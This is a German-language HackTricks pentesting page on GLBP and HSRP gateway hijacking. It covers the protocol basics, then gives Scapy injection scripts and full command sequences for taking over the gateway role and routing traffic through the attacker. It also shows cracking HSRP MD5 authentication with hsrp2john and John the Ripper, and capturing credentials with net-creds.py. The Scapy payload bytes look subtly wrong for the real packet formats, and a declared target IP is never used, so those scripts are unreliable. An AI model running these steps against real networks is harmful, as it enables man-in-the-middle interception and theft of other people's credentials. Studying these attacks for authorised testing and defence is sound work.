GLBP & HSRP Angriffe
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Überblick über FHRP Hijacking
Einblicke in FHRP
FHRP wurde entwickelt, um Netzwerk-Robustheit zu bieten, indem mehrere Router zu einer einzigen virtuellen Einheit zusammengeführt werden, wodurch Lastverteilung und Fehlertoleranz verbessert werden. Cisco Systems brachte prominente Protokolle in diesem Bereich wie GLBP und HSRP hervor.
Einblicke in das GLBP-Protokoll
GLBP läuft im TCP/IP-Stack und verwendet UDP auf Port 3222 zur Kommunikation. Router in einer GLBP-Gruppe tauschen “hello”-Pakete in 3‑Sekunden-Intervallen aus. Sendet ein Router diese Pakete 10 Sekunden lang nicht, gilt er als offline. Diese Timer sind jedoch nicht fest und können angepasst werden.
GLBP für IPv6 verwendet Multicast FF02::66 über UDP/3222, und das virtuelle MAC-Format wird 0007.b4xx.xxyy (die AVF-ID steckt im letzten Byte). Timing und Angriffsfläche bleiben wie bei IPv4, sodass Hijack-Techniken auch in Dual‑Stack-Netzwerken funktionieren.
GLBP-Betrieb und Lastverteilung
GLBP zeichnet sich dadurch aus, dass es Lastverteilung über Router hinweg ermöglicht, indem eine einzige virtuelle IP mit mehreren virtuellen MAC-Adressen kombiniert wird. In einer GLBP-Gruppe ist jeder Router am Paket-Forwarding beteiligt. Im Gegensatz zu HSRP/VRRP bietet GLBP echtes Load Balancing durch mehrere Mechanismen:
- Host-Dependent Load Balancing: Weist einem Host konstant dieselbe AVF-MAC-Adresse zu, wichtig für stabile NAT-Konfigurationen.
- Round-Robin Load Balancing: Standardverfahren; wechselt die AVF-MAC-Zuweisung zyklisch zwischen anfragenden Hosts.
- Weighted Round-Robin Load Balancing: Verteilt die Last basierend auf vordefinierten “Weight”-Metriken.
Wichtige Komponenten und Terminologien in GLBP
- AVG (Active Virtual Gateway): Der primäre Router, verantwortlich für die Zuweisung von MAC-Adressen an Peer-Router.
- AVF (Active Virtual Forwarder): Ein Router, der für das Weiterleiten von Netzwerkverkehr zuständig ist.
- GLBP Priority: Eine Metrik, die den AVG bestimmt; Standard ist 100, Wertebereich 1–255.
- GLBP Weight: Spiegelt die aktuelle Last eines Routers wider; anpassbar manuell oder über Object Tracking.
- GLBP Virtual IP Address: Dient als Standardgateway des Netzes für alle verbundenen Geräte.
Für die Kommunikation verwendet GLBP die reservierte Multicast-Adresse 224.0.0.102 und UDP-Port 3222. Router senden “hello”-Pakete in 3‑Sekunden-Intervallen und gelten als nicht betriebsbereit, wenn innerhalb von 10 Sekunden ein Paket fehlt.
GLBP-Angriffsmechanismus
Ein Angreifer kann der primäre Router werden, indem er ein GLBP-Paket mit dem höchsten Priority-Wert (255) sendet. Dies kann zu DoS- oder MITM-Angriffen führen und das Abfangen oder Umleiten von Traffic ermöglichen.
Praktischer GLBP Hijack mit Scapy (kurzer PoC)
from scapy.all import *
vip = "10.10.100.254" # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64" # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)
Erstellen Sie die payload bytes, um den GLBP-Header (version/opcode/priority/weight/VRID) zu imitieren. Das wiederholte Senden des Frames stellt sicher, dass Sie die AVG-Wahl gewinnen, falls keine Authentifizierung vorhanden ist.
Ausführen eines GLBP-Angriffs mit Loki
Loki kann einen GLBP-Angriff durchführen, indem es ein Paket injiziert, bei dem priority und weight auf 255 gesetzt sind. Vorbereitende Schritte vor dem Angriff umfassen das Sammeln von Informationen wie der virtuellen IP-Adresse, dem Vorhandensein einer Authentifizierung und den Router-Prioritätswerten mit Tools wie Wireshark.
Attack Steps:
- Wechseln Sie in den promiscuous mode und aktivieren Sie IP forwarding.
- Identifizieren Sie den Ziel-Router und ermitteln Sie dessen IP.
- Erzeugen Sie eine Gratuitous ARP.
- Injizieren Sie ein bösartiges GLBP-Paket und geben Sie sich als AVG aus.
- Weisen Sie der Netzwerkschnittstelle des Angreifers eine sekundäre IP-Adresse zu, die der GLBP virtual IP entspricht.
- Implementieren Sie SNAT, um vollständige Sichtbarkeit des Verkehrs zu erhalten.
- Passen Sie das Routing an, um weiterhin Internetzugang über den ursprünglichen AVG-Router sicherzustellen.
Durch Befolgen dieser Schritte positioniert sich der Angreifer als “man in the middle” und kann Netzwerkverkehr abfangen und analysieren, einschließlich unverschlüsselter oder sensibler Daten.
Für die Demonstration sind hier die erforderlichen Befehls-Snippets:
# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
Das Überwachen und Abfangen von Datenverkehr kann mit net-creds.py oder ähnlichen Tools erfolgen, um Daten zu erfassen und zu analysieren, die durch das kompromittierte Netzwerk fließen.
Passive Explanation of HSRP Hijacking with Command Details
Overview of HSRP (Hot Standby Router/Redundancy Protocol)
HSRP ist ein proprietäres Cisco-Protokoll, das zur Redundanz von Netzwerk-Gateways entwickelt wurde. Es ermöglicht die Konfiguration mehrerer physischer Router als eine einzige logische Einheit mit einer gemeinsamen IP-Adresse. Diese logische Einheit wird von einem primären Router verwaltet, der für die Weiterleitung des Datenverkehrs zuständig ist. Im Gegensatz zu GLBP, das Metriken wie priority und weight für Load Balancing verwendet, verlässt sich HSRP auf einen einzelnen aktiven Router zur Verkehrssteuerung.
HSRPv1 verwendet Multicast 224.0.0.2 und virtuelle MAC 0000.0c07.acXX; HSRPv2 und HSRPv2 für IPv6 verwenden 224.0.0.102 / FF02::66 und virtuelle MAC 0000.0c9f.fXXX. Der UDP-Zielport ist 1985 für IPv4 und 2029 für IPv6.
Roles and Terminology in HSRP
- HSRP Active Router: Das Gerät, das als Gateway fungiert und den Datenverkehr steuert.
- HSRP Standby Router: Ein Backup-Router, der bereit ist zu übernehmen, falls der Active Router ausfällt.
- HSRP Group: Eine Gruppe von Routern, die zusammenarbeiten, um einen einzelnen ausfallsicheren virtuellen Router zu bilden.
- HSRP MAC Address: Eine virtuelle MAC-Adresse, die dem logischen Router im HSRP-Setup zugewiesen ist.
- HSRP Virtual IP Address: Die virtuelle IP-Adresse der HSRP-Gruppe, die als Standardgateway für angeschlossene Geräte dient.
HSRP Versions
HSRP gibt es in zwei Versionen, HSRPv1 und HSRPv2, die sich hauptsächlich in Gruppen-Kapazität, Verwendung von Multicast-IP-Adressen und Struktur der virtuellen MAC-Adresse unterscheiden. Das Protokoll nutzt spezifische Multicast-IP-Adressen für den Austausch von Service-Informationen, wobei Hello-Pakete alle 3 Sekunden gesendet werden. Ein Router gilt als inaktiv, wenn innerhalb eines 10-Sekunden-Intervalls kein Paket empfangen wird.
HSRP Attack Mechanism
HSRP-Angriffe beinhalten das erzwungene Übernehmen der Rolle des Active Router durch Injizieren eines maximalen priority-Werts. Dies kann zu einem Man-In-The-Middle (MITM) Angriff führen. Wichtige Vorbereitungen vor dem Angriff umfassen das Sammeln von Informationen über das HSRP-Setup, was mithilfe von Wireshark zur Traffic-Analyse erfolgen kann.
Schnelle HSRP-Übernahme mit Scapy
from scapy.all import *
vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01" # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)
If authentication is not configured, continuously sending Hello-Nachrichten with höherer Priorität zwingt Peers in die Speak/Listen-Zustände und ermöglicht es dir, Active zu werden, wodurch Traffic über deinen Host umgeleitet wird.
HSRP authentication corner cases
- Legacy-Plaintext-Authentifizierung ist trivial spoofbar.
- MD5 authentication deckt nur die HSRP-Payload ab; manipulierte Pakete können dennoch Control-Plane rate-limiting/DoS verursachen. NX-OS-Releases erlaubten zuvor DoS gegen authentifizierte Gruppen (siehe Cisco advisory CSCup11309).
- Auf vielen ISP-/VPS-shared VLANs sind HSRPv1-Multicasts für Tenants sichtbar; ohne Auth kannst du beitreten und Traffic preempten.
Steps for Bypassing HSRP Authentication
- Speichere den Netzwerktraffic mit HSRP-Daten als .pcap-Datei.
tcpdump -w hsrp_traffic.pcap
- Extrahiere MD5-Hashes aus der .pcap-Datei mit hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
- Cracking der MD5-Hashes mit John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes
Executing HSRP Injection with Loki
- Starte Loki, um HSRP-Advertisements zu identifizieren.
- Setze das Netzwerkinterface in den Promiscuous-Modus und aktiviere IP-Forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
- Nutze Loki, um den spezifischen Router anzugreifen, gib das geknackte HSRP-Passwort ein und führe die notwendigen Konfigurationen durch, um den Active Router zu impersonifizieren.
- Nachdem du die Rolle des Active Router übernommen hast, konfiguriere dein Netzwerkinterface und iptables, um den legitimen Traffic abzufangen.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
- Ändere die Routing-Tabelle, damit Traffic über den ehemaligen Active Router läuft.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
- Verwende net-creds.py oder ein ähnliches Utility, um Credentials aus dem abgefangenen Traffic zu extrahieren.
sudo python2 net-creds.py -i eth0
Das Ausführen dieser Schritte versetzt den Angreifer in die Lage, Traffic abzufangen und zu manipulieren, ähnlich dem Verfahren für GLBP hijacking. Das unterstreicht die Verwundbarkeit von Redundanzprotokollen wie HSRP und die Notwendigkeit robuster Sicherheitsmaßnahmen.
References
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Cisco NX-OS HSRP authentication DoS (CSCup11309)
- Reddit: HSRP seen on VPS shared VLANs
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


